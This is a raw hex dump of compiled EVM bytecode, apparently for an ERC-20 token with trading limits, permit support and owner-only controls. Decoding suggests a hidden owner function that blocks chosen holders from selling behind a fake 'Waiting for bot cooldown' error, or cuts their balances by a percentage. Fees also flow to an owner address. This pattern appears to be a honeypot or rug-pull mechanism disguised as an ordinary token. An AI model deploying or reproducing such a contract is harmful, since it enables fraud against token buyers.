111562000610576200060f6200037a565b5b6200061c8254620003d8565b620006298282856200054e565b600060209050601f8311600181146200066157600084156200064c578287015190505b620006588582620005cb565b865550620006c8565b601f19841662000671866200040d565b60005b828110156200069b5784890151825560018201915060208501945060208101905062000674565b86831015620006bb5784890151620006b7601f891682620005ab565b8355505b6001600288020188555050505b505050505050565b600081905092915050565b60008190508160005260206000209050919050565b60008154620006ff81620003d8565b6200070b8186620006d0565b945060018216600081146200072957600181146200073f5762000776565b60ff198316865281151582028601935062000776565b6200074a85620006db565b60005b838110156200076e578154818901526001820191506020810190506200074d565b838801955050505b50505092915050565b60006200078d8284620006f0565b915081905092915050565b6000819050919050565b620007ad8162000798565b82525050565b620007be8162000495565b82525050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007f182620007c4565b9050919050565b6200080381620007e4565b82525050565b600060a082019050620008206000830188620007a2565b6200082f6020830187620007a2565b6200083e6040830186620007a2565b6200084d6060830185620007b3565b6200085c6080830184620007f8565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008a28262000495565b9150620008af8362000495565b9250828201905080821115620008ca57620008c962000866565b5b92915050565b6000602082019050620008e76000830184620007b3565b92915050565b60805160a05160c051613c216200091d60003960006110b10152600061107d015260006110570152613c216000f3fe6080604052600436106101445760003560e01c80636632a96d116100b6578063a9059cbb1161006f578063a9059cbb14610464578063c9567bf9146104a1578063d505accf146104b8578063dd62ed3e146104e1578063f851a4401461051e578063f9d0831a146105495761014b565b80636632a96d14610356578063667f65261461037f57806370a08231146103a8578063715018a6146103e55780637ecebe00146103fc57806395d89b41146104395761014b565b806323b872dd1161010857806323b872dd1461023257806329d2b1611461026f578063313ce567146102ac5780633644e515146102d757806340a9cb691461030257806349bd5a5e1461032b5761014b565b806306fdde031461014d578063094c95ff14610178578063095ea7b3146101a157806318160ddd146101de578063189ae5f2146102095761014b565b3661014b57005b005b34801561015957600080fd5b50610162610572565b60405161016f9190612b76565b60405180910390f35b34801561018457600080fd5b5061019f600480360381019061019a9190612c3d565b610600565b005b3480156101ad57600080fd5b506101c860048036038101906101c39190612cfb565b6107e8565b6040516101d59190612d56565b60405180910390f35b3480156101ea57600080fd5b506101f36108da565b6040516102009190612d80565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d9b565b6108e0565b005b34801561023e57600080fd5b5061025960048036038101906102549190612dee565b61098a565b6040516102669190612d56565b60405180910390f35b34801561027b57600080fd5b5061029660048036038101906102919190612e41565b611035565b6040516102a39190612d56565b60405180910390f35b3480156102b857600080fd5b506102c1611055565b6040516102ce9190612e8a565b60405180910390f35b3480156102e357600080fd5b506102ec611079565b6040516102f99190612ebe565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612ed9565b6110d6565b005b34801561033757600080fd5b5061034061144b565b60405161034d9190612f15565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612e41565b611471565b005b34801561038b57600080fd5b506103a660048036038101906103a19190612f30565b6114f0565b005b3480156103b457600080fd5b506103cf60048036038101906103ca9190612e41565b611592565b6040516103dc9190612d80565b60405180910390f35b3480156103f157600080fd5b506103fa6115aa565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e41565b6116fb565b6040516104309190612d80565b60405180910390f35b34801561044557600080fd5b5061044e611713565b60405161045b9190612b76565b60405180910390f35b34801561047057600080fd5b5061048b60048036038101906104869190612cfb565b6117a1565b6040516104989190612d56565b60405180910390f35b3480156104ad57600080fd5b506104b6611ce8565b005b3480156104c457600080fd5b506104df60048036038101906104da9190612fc8565b6122cc565b005b3480156104ed57600080fd5b506105086004803603810190610503919061306a565b6125c5565b6040516105159190612d80565b60405180910390f35b34801561052a57600080fd5b506105336125ea565b6040516105409190612f15565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b9190612e41565b612610565b005b6000805461057f906130d9565b80601f01602080910402602001604051908101604052809291908181526020018280546105ab906130d9565b80156105f85780601f106105cd576101008083540402835291602001916105f8565b820191906000526020600020905b8154815290600101906020018083116105db57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff1661061f612828565b73ffffffffffffffffffffffffffffffffffffffff1614610675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066c90613156565b60405180910390fd5b60005b838390508110156107e2576064821115610720576065821461069b57600061069e565b60015b600d60008686858181106106b5576106b4613176565b5b90506020020160208101906106ca9190612e41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107cf565b6107ce84848381811061073657610735613176565b5b905060200201602081019061074b9190612e41565b836064600c600089898881811061076557610764613176565b5b905060200201602081019061077a9190612e41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107bf9190613203565b6107c99190613234565b612852565b5b80806107da90613276565b915050610678565b50505050565b600081600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108c89190612d80565b60405180910390a36001905092915050565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610970576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096790613156565b60405180910390fd5b826008819055508160078190555080600981905550505050565b600060011515600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a169061330a565b60405180910390fd5b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b54578281610ad3919061332a565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ba3919061332a565b925050819055506000600854118015610c095750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610c5457600854831115610c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4a906133aa565b60405180910390fd5b5b6000600554118015610cb35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610ceb57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610d455750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610d5d5750600a60009054906101000a900460ff165b15610dff576000600554606485610d749190613203565b610d7e9190613234565b905080600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508084610dfb919061332a565b9350505b6000600954118015610e5f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb95750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f4357600954600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3990613416565b60405180910390fd5b5b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611029578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110209190612d80565b60405180910390a35b60019150509392505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60007f000000000000000000000000000000000000000000000000000000000000000046146110af576110aa612956565b6110d1565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613156565b60405180910390fd5b6000600267ffffffffffffffff81111561118357611182613436565b5b6040519080825280602002602001820160405280156111b15781602001602082028036833780820191505090505b50905030816000815181106111c9576111c8613176565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611270573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611294919061347a565b816001815181106112a8576112a7613176565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506112ec30836129e2565b81600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016114159594939291906135aa565b600060405180830381600087803b15801561142f57600080fd5b505af1158015611443573d6000803e3d6000fd5b505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114ed576114ac612828565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790613156565b60405180910390fd5b81600581905550806006819055505050565b600c6020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163190613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f6020528060005260406000206000915090505481565b60018054611720906130d9565b80601f016020809104026020016040519081016040528092919081815260200182805461174c906130d9565b80156117995780601f1061176e57610100808354040283529160200191611799565b820191906000526020600020905b81548152906001019060200180831161177c57829003601f168201915b505050505081565b600060011515600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182d9061330a565b60405180910390fd5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611885919061332a565b9250508190555060006007541180156118eb5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561193657600754821115611935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192c90613650565b60405180910390fd5b5b60006006541180156119955750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156119ef5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a075750600a60009054906101000a900460ff165b15611aa9576000600654606484611a1e9190613203565b611a289190613234565b905080600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508083611aa5919061332a565b9250505b6000600954118015611b095750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b635750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bf85760095482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb69190613670565b1115611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee90613416565b60405180910390fd5b5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cde578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd59190612d80565b60405180910390a35b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f90613156565b60405180910390fd5b600a60009054906101000a900460ff1615611dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbf906136f0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f71919061347a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ffa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201e919061347a565b6040518363ffffffff1660e01b815260040161203b929190613710565b6020604051808303816000875af115801561205a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207e919061347a565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161218696959493929190613739565b60606040518083038185885af11580156121a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121c991906137af565b505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161226b929190613802565b6020604051808303816000875af115801561228a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ae9190613857565b506001600a60006101000a81548160ff021916908315150217905550565b4284101561230f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612306906138d0565b60405180910390fd5b6000600161231b611079565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a600f60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b6040516020016123a3969594939291906138f0565b604051602081830303815290604052805190602001206040516020016123ca9291906139c9565b60405160208183030381529060405280519060200120858585604051600081526020016040526040516124009493929190613a00565b6020604051602081039080840390855afa158015612422573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561249657508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6124d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cc90613a91565b60405180910390fd5b85600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516125b49190612d80565b60405180910390a350505050505050565b600e602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269790613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612720573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561271a573d6000803e3d6000fd5b50612825565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016127609190612f15565b602060405180830381865afa15801561277d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127a19190613ab1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016127de929190613802565b6020604051808303816000875af11580156127fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128219190613857565b5050505b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128a1919061332a565b9250508190555080600b600082825403925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461295257600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129499190612d80565b60405180910390a35b5050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516129889190613b81565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016129c7959493929190613b98565b60405160208183030381529060405280519060200120905090565b80600b60008282546129f49190613670565b9250508190555080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612ae2578173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ad99190612d80565b60405180910390a35b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b20578082015181840152602081019050612b05565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b4882612ae6565b612b528185612af1565b9350612b62818560208601612b02565b612b6b81612b2c565b840191505092915050565b60006020820190508181036000830152612b908184612b3d565b905092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f840112612bc757612bc6612ba2565b5b8235905067ffffffffffffffff811115612be457612be3612ba7565b5b602083019150836020820283011115612c0057612bff612bac565b5b9250929050565b6000819050919050565b612c1a81612c07565b8114612c2557600080fd5b50565b600081359050612c3781612c11565b92915050565b600080600060408486031215612c5657612c55612b98565b5b600084013567ffffffffffffffff811115612c7457612c73612b9d565b5b612c8086828701612bb1565b93509350506020612c9386828701612c28565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612cc882612c9d565b9050919050565b612cd881612cbd565b8114612ce357600080fd5b50565b600081359050612cf581612ccf565b92915050565b60008060408385031215612d1257612d11612b98565b5b6000612d2085828601612ce6565b9250506020612d3185828601612c28565b9150509250929050565b60008115159050919050565b612d5081612d3b565b82525050565b6000602082019050612d6b6000830184612d47565b92915050565b612d7a81612c07565b82525050565b6000602082019050612d956000830184612d71565b92915050565b600080600060608486031215612db457612db3612b98565b5b6000612dc286828701612c28565b9350506020612dd386828701612c28565b9250506040612de486828701612c28565b9150509250925092565b600080600060608486031215612e0757612e06612b98565b5b6000612e1586828701612ce6565b9350506020612e2686828701612ce6565b9250506040612e3786828701612c28565b9150509250925092565b600060208284031215612e5757612e56612b98565b5b6000612e6584828501612ce6565b91505092915050565b600060ff82169050919050565b612e8481612e6e565b82525050565b6000602082019050612e9f6000830184612e7b565b92915050565b6000819050919050565b612eb881612ea5565b82525050565b6000602082019050612ed36000830184612eaf565b92915050565b600060208284031215612eef57612eee612b98565b5b6000612efd84828501612c28565b91505092915050565b612f0f81612cbd565b82525050565b6000602082019050612f2a6000830184612f06565b92915050565b60008060408385031215612f4757612f46612b98565b5b6000612f5585828601612c28565b9250506020612f6685828601612c28565b9150509250929050565b612f7981612e6e565b8114612f8457600080fd5b50565b600081359050612f9681612f70565b92915050565b612fa581612ea5565b8114612fb057600080fd5b50565b600081359050612fc281612f9c565b92915050565b600080600080600080600060e0888a031215612fe757612fe6612b98565b5b6000612ff58a828b01612ce6565b97505060206130068a828b01612ce6565b96505060406130178a828b01612c28565b95505060606130288a828b01612c28565b94505060806130398a828b01612f87565b93505060a061304a8a828b01612fb3565b92505060c061305b8a828b01612fb3565b91505092959891949750929550565b6000806040838503121561308157613080612b98565b5b600061308f85828601612ce6565b92505060206130a085828601612ce6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806130f157607f821691505b602082108103613104576131036130aa565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613140602083612af1565b915061314b8261310a565b602082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061320e82612c07565b915061321983612c07565b925082613229576132286131a5565b5b828204905092915050565b600061323f82612c07565b915061324a83612c07565b925082820261325881612c07565b9150828204841483151761326f5761326e6131d4565b5b5092915050565b600061328182612c07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036132b3576132b26131d4565b5b600182019050919050565b7f57616974696e6720666f7220626f7420636f6f6c646f776e2e00000000000000600082015250565b60006132f4601983612af1565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b600061333582612c07565b915061334083612c07565b9250828203905081811115613358576133576131d4565b5b92915050565b7f4572726f723a2053656c6c204c696d6974204578636565646564000000000000600082015250565b6000613394601a83612af1565b915061339f8261335e565b602082019050919050565b600060208201905081810360008301526133c381613387565b9050919050565b7f4572726f723a2057616c6c6574204c696d69742045786365656465642e200000600082015250565b6000613400601e83612af1565b915061340b826133ca565b602082019050919050565b6000602082019050818103600083015261342f816133f3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061347481612ccf565b92915050565b6000602082840312156134905761348f612b98565b5b600061349e84828501613465565b91505092915050565b6000819050919050565b6000819050919050565b60006134d66134d16134cc846134a7565b6134b1565b612c07565b9050919050565b6134e6816134bb565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61352181612cbd565b82525050565b60006135338383613518565b60208301905092915050565b6000602082019050919050565b6000613557826134ec565b61356181856134f7565b935061356c83613508565b8060005b8381101561359d5781516135848882613527565b975061358f8361353f565b925050600181019050613570565b5085935050505092915050565b600060a0820190506135bf6000830188612d71565b6135cc60208301876134dd565b81810360408301526135de818661354c565b90506135ed6060830185612f06565b6135fa6080830184612d71565b9695505050505050565b7f4572726f723a20427579204c696d697420457863656564656400000000000000600082015250565b600061363a601983612af1565b915061364582613604565b602082019050919050565b600060208201905081810360008301526136698161362d565b9050919050565b600061367b82612c07565b915061368683612c07565b925082820190508082111561369e5761369d6131d4565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006136da601783612af1565b91506136e5826136a4565b602082019050919050565b60006020820190508181036000830152613709816136cd565b9050919050565b60006040820190506137256000830185612f06565b6137326020830184612f06565b9392505050565b600060c08201905061374e6000830189612f06565b61375b6020830188612d71565b61376860408301876134dd565b61377560608301866134dd565b6137826080830185612f06565b61378f60a0830184612d71565b979650505050505050565b6000815190506137a981612c11565b92915050565b6000806000606084860312156137c8576137c7612b98565b5b60006137d68682870161379a565b93505060206137e78682870161379a565b92505060406137f88682870161379a565b9150509250925092565b60006040820190506138176000830185612f06565b6138246020830184612d71565b9392505050565b61383481612d3b565b811461383f57600080fd5b50565b6000815190506138518161382b565b92915050565b60006020828403121561386d5761386c612b98565b5b600061387b84828501613842565b91505092915050565b7f5045524d49545f444541444c494e455f45585049524544000000000000000000600082015250565b60006138ba601783612af1565b91506138c582613884565b602082019050919050565b600060208201905081810360008301526138e9816138ad565b9050919050565b600060c0820190506139056000830189612eaf565b6139126020830188612f06565b61391f6040830187612f06565b61392c6060830186612d71565b6139396080830185612d71565b61394660a0830184612d71565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b6000613992600283613951565b915061399d8261395c565b600282019050919050565b6000819050919050565b6139c36139be82612ea5565b6139a8565b82525050565b60006139d482613985565b91506139e082856139b2565b6020820191506139f082846139b2565b6020820191508190509392505050565b6000608082019050613a156000830187612eaf565b613a226020830186612e7b565b613a2f6040830185612eaf565b613a3c6060830184612eaf565b95945050505050565b7f494e56414c49445f5349474e4552000000000000000000000000000000000000600082015250565b6000613a7b600e83612af1565b9150613a8682613a45565b602082019050919050565b60006020820190508181036000830152613aaa81613a6e565b9050919050565b600060208284031215613ac757613ac6612b98565b5b6000613ad58482850161379a565b91505092915050565b600081905092915050565b60008190508160005260206000209050919050565b60008154613b0b816130d9565b613b158186613ade565b94506001821660008114613b305760018114613b4557613b78565b60ff1983168652811515820286019350613b78565b613b4e85613ae9565b60005b83811015613b7057815481890152600182019150602081019050613b51565b838801955050505b50505092915050565b6000613b8d8284613afe565b915081905092915050565b600060a082019050613bad6000830188612eaf565b613bba6020830187612eaf565b613bc76040830186612eaf565b613bd46060830185612d71565b613be16080830184612f06565b969550505050505056fea2646970667358221220821e5d0f445258bb8929b829d5d1f8e18b6dae242dd7aa34f1b72573c43d6f5764736f6c63430008110033

Deployed Bytecode

